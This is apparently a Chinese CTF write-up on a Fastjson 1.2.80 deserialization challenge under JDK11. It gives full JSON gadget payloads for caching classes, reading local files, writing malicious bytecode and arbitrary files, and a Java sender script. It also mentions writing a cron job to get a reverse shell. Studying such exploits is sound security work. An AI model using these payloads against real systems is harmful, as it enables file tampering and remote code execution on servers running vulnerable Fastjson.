前言
最近事比较多,去长沙打完软件安全赛拿了一等奖:

本来是想复现一下那两道java的,其实那两道反序列化只要找到能打的Servlet就随便出了,因为依赖有CC3.1。
但是环境不太好搭,就此作罢了hhh。
正好最近有个京麒CTF的FastJ,打这道题必须走JDK11的fj反序列化。
分析
简单粗暴的交互:

Fastjson1.2.80的任意写利用
https://github.com/luelueking/CVE-2022-25845-In-Spring
通过这个poc可以得知,通过Exception期望类可以缓存一些新类,然后上面能缓存InputStream:
1 2 3 4 5 6 7 8 9 10
| { "a": "{ \"@type\": \"java.lang.Exception\", \"@type\": \"com.fasterxml.jackson.core.exc.InputCoercionException\", \"p\": { } }", "b": { "$ref": "$.a.a" }, "c": "{ \"@type\": \"com.fasterxml.jackson.core.JsonParser\", \"@type\": \"com.fasterxml.jackson.core.json.UTF8StreamJsonParser\", \"in\": {}}", "d": { "$ref": "$.c.c" } }
|
[
](https://github.com/luelueking/CVE-2022-25845-In-Spring/blob/main/images/截屏2024-11-07 21.36.27.png)
Step2: file协议读取/tmp内容,获取tomcat的docbase文件名称
逐字节读取内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| { "a": { "@type": "java.io.InputStream", "@type": "org.apache.commons.io.input.BOMInputStream", "delegate": { "@type": "org.apache.commons.io.input.BOMInputStream", "delegate": { "@type": "org.apache.commons.io.input.ReaderInputStream", "reader": { "@type": "jdk.nashorn.api.scripting.URLReader", "url": "${file}" }, "charsetName": "UTF-8", "bufferSize": "1024" }, "boms": [ { "charsetName": "UTF-8", "bytes": ${data} } ] }, "boms": [ { "charsetName": "UTF-8", "bytes": [1] } ] }, "b": {"$ref":"$.a.delegate"} }
|
[
](https://github.com/luelueking/CVE-2022-25845-In-Spring/blob/main/images/截屏2024-11-07 21.35.56.png)
Step3: 写入恶意字节码到docbase目录下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| { "a": { "@type": "java.io.InputStream", "@type": "org.apache.commons.io.input.AutoCloseInputStream", "in": { "@type": "org.apache.commons.io.input.TeeInputStream", "input": { "@type": "org.apache.commons.io.input.CharSequenceInputStream", "cs": { "@type": "java.lang.String" "${shellcode}", "charset": "iso-8859-1", "bufferSize": ${size} }, "branch": { "@type": "org.apache.commons.io.output.WriterOutputStream", "writer": { "@type": "org.apache.commons.io.output.LockableFileWriter", "file": "${file2write}", "charset": "iso-8859-1", "append": true }, "charset": "iso-8859-1", "bufferSize": 1024, "writeImmediately": true }, "closeBranch": true } }, "b": { "@type": "java.io.InputStream", "@type": "org.apache.commons.io.input.ReaderInputStream", "reader": { "@type": "org.apache.commons.io.input.XmlStreamReader", "inputStream": { "$ref": "$.a" }, "httpContentType": "text/xml", "lenient": false, "defaultEncoding": "iso-8859-1" }, "charsetName": "iso-8859-1", "bufferSize": 1024 }, "c": {} }
|
[
](https://github.com/luelueking/CVE-2022-25845-In-Spring/blob/main/images/截屏2024-11-07 21.37.04.png)
Step4: 触发恶意类加载
1 2 3 4
| { "@type":"java.lang.Exception", "@type":"com.chenzai.HackException" }
|
但是可以看到,他打的是common-io。本题的JDK是11,有什么意义呢?
然而JDK11自带符号信息,可以调用任意构造函数。猜测还是利用OutputStream下的子类实现任意文件写。
而且题目看似多此一举的给了一个FilterFileOutputStream
:
题目那个getflag()不能直接读,估计就是给你提示到用这个FilterFileOutputStream
的。这道题其实是写定时任务反弹shell的,也是常见的写文件R方法。
EXP
1、缓存OutputStream
fastjson的类缓存机制
Fastjson的类缓存机制:ParserConfig.classMapping
当使用 @type 加载了一个类,Fastjson 会把它缓存起来:
1
| classMapping.put(typeName, clazz);
|
这是为了提升解析性能、减少重复反射。
所以,只要你通过 @type 加载了某个类,Fastjson 后续就可以:
复用这个 Class 实例,并且不再检查autoType(因为已经被认为是“合法的”了)
缓存机制由来:
(参考:2025京麒杯web-先知社区)
根据缓存InputStream的利用,我们可以找到fastjson的缓存OutputStream的gadget,一直抡到触发Exception:
1 2 3 4
| com.fasterxml.jackson.core.json.UTF8JsonGenerator com.fasterxml.jackson.core.JsonGenerator com.fasterxml.jackson.core.JsonGenerationException java.lang.Exception
|
于是可以依葫芦画瓢得出第一个json:
1 2 3 4 5 6
| { "a": "{ \"@type\": \"java.lang.Exception\", \"@type\": \"com.fasterxml.jackson.core.JsonGenerationException\", \"g\": {} }", "b": { "$ref": "$.a.a" }, "c": "{ \"@type\": \"com.fasterxml.jackson.core.JsonGenerator\", \"@type\": \"com.fasterxml.jackson.core.json.UTF8JsonGenerator\", \"out\": {} }", "d": { "$ref": "$.c.c" } }
|
2、任意文件写
fastjson虽然再1.2.80禁用了FileOutputStream
,但还记得题目给出的FilterFileOutputStream
吗?接下来可以结合rmb实现任意文件写。
rmb(RMI-Based MarshalOutputStream)
是 JDK 自带的一个类:sun.rmi.server.MarshalOutputStream
它是ObjectOutputStream 的子类;并且在对象序列化过程中,会调用其内部 OutputStream 的 write 方法;也是 JDK RMI 模块中用于序列化对象时的工具类。
那么我们就可以利用反序列化触发write(),实现数据流写入。
InflaterOutputStream
标准 JDK 类,负责接收压缩数据 → 解压 → 向底层流写入
所以第二个json:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| { "@type": "java.io.OutputStream", "@type": "sun.rmi.server.MarshalOutputStream", "out": { "@type": "java.util.zip.InflaterOutputStream", "out": { "@type": "com.app.FilterFileOutputStream", "name": "{path}", "prefix": "/" }, "infl": { "input": { "array": "{ABC}", "limit": "{ABCD}" } }, "bufLen": "100" }, "protocolVersion": 1 }
|
总体思路
调用getflag()会触发new FilterFileOutputStream("/flag", "/")
。
而触发调用FilterFileOutputStream
类,就会让构造函数调用 super(name) ➜ 调用 FileOutputStream(String name) ➜ 会尝试打开或新建这个文件
由此结合后续write任意写。
1 2 3 4 5 6 7 8 9
| Fastjson parse() ↓ MarshalOutputStream.readObject() ↓ InflaterOutputStream └── infl.input.array → base64压缩数据 └── infl.limit → 解压后长度 ↓ FilterFileOutputStream → 文件创建并写入
|
生成array压缩流即可:
1 2 3 4 5 6 7 8
| String input = "123123123123"; ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); try (DeflaterOutputStream deflaterOutputStream = new DeflaterOutputStream(byteArrayOutputStream)) { deflaterOutputStream.write(input.getBytes("UTF-8")); } String encoded = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray()); int leng = byteArrayOutputStream.toByteArray().length; System.out.println(encoded);
|
limit设置为解压缩后byte的length。
借用mini-venom队的wp,成功实现任意文件写:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
| public class Exp {
static String target = "http://localhost:8080/";
public static Object sendJson(String payload) { try { RestTemplate restTemplate = new RestTemplate();
HttpHeaders httpHeaders = new HttpHeaders(); httpHeaders.setContentType(MediaType.APPLICATION_FORM_URLENCODED);
LinkedMultiValueMap<Object, Object> map = new LinkedMultiValueMap<>(); map.add("json", payload);
HttpEntity<LinkedMultiValueMap<Object, Object>> request = new HttpEntity<>(map, httpHeaders);
return restTemplate.postForObject(target, request, String.class); } catch (RestClientException e) { return"null"; } }
public static void main(String[] args) throws IOException, CannotCompileException, NotFoundException, InterruptedException { String payload1 = new String(Files.readAllBytes(Paths.get("payloads/step1.json"))); sendJson(payload1); System.out.println(payload1);
String path = "/tmp/eddie.txt";
String input = "EddieMurphy_You_Bet"; ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); try (DeflaterOutputStream deflaterOutputStream = new DeflaterOutputStream(byteArrayOutputStream)) { deflaterOutputStream.write(input.getBytes("UTF-8")); }
String encoded = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray()); int leng = byteArrayOutputStream.toByteArray().length;
String payload2 = new String(Files.readAllBytes(Paths.get("payloads/step2.json"))); payload2 = payload2.replace("{ABC}", encoded).replace("\"{ABCD}\"",String.valueOf(leng)).replace("{path}",path); sendJson(payload2); System.out.println(payload2);
} }
|

参考链接:
2025京麒CTF初赛-web - symya - 博客园
2025京麒杯web-先知社区
2025第三届京麒CTF挑战赛 writeup by Mini-Venom
后记
这道题可以学习一波,但貌似windows不能直接写成功,不知道是不是我机器配的权限原因。Linux就随便打了。
后续更一个JDBC不出网RCE的复现。
但是最近忙着保研一堆事,还要打工😭😭😭,所以更不勤了……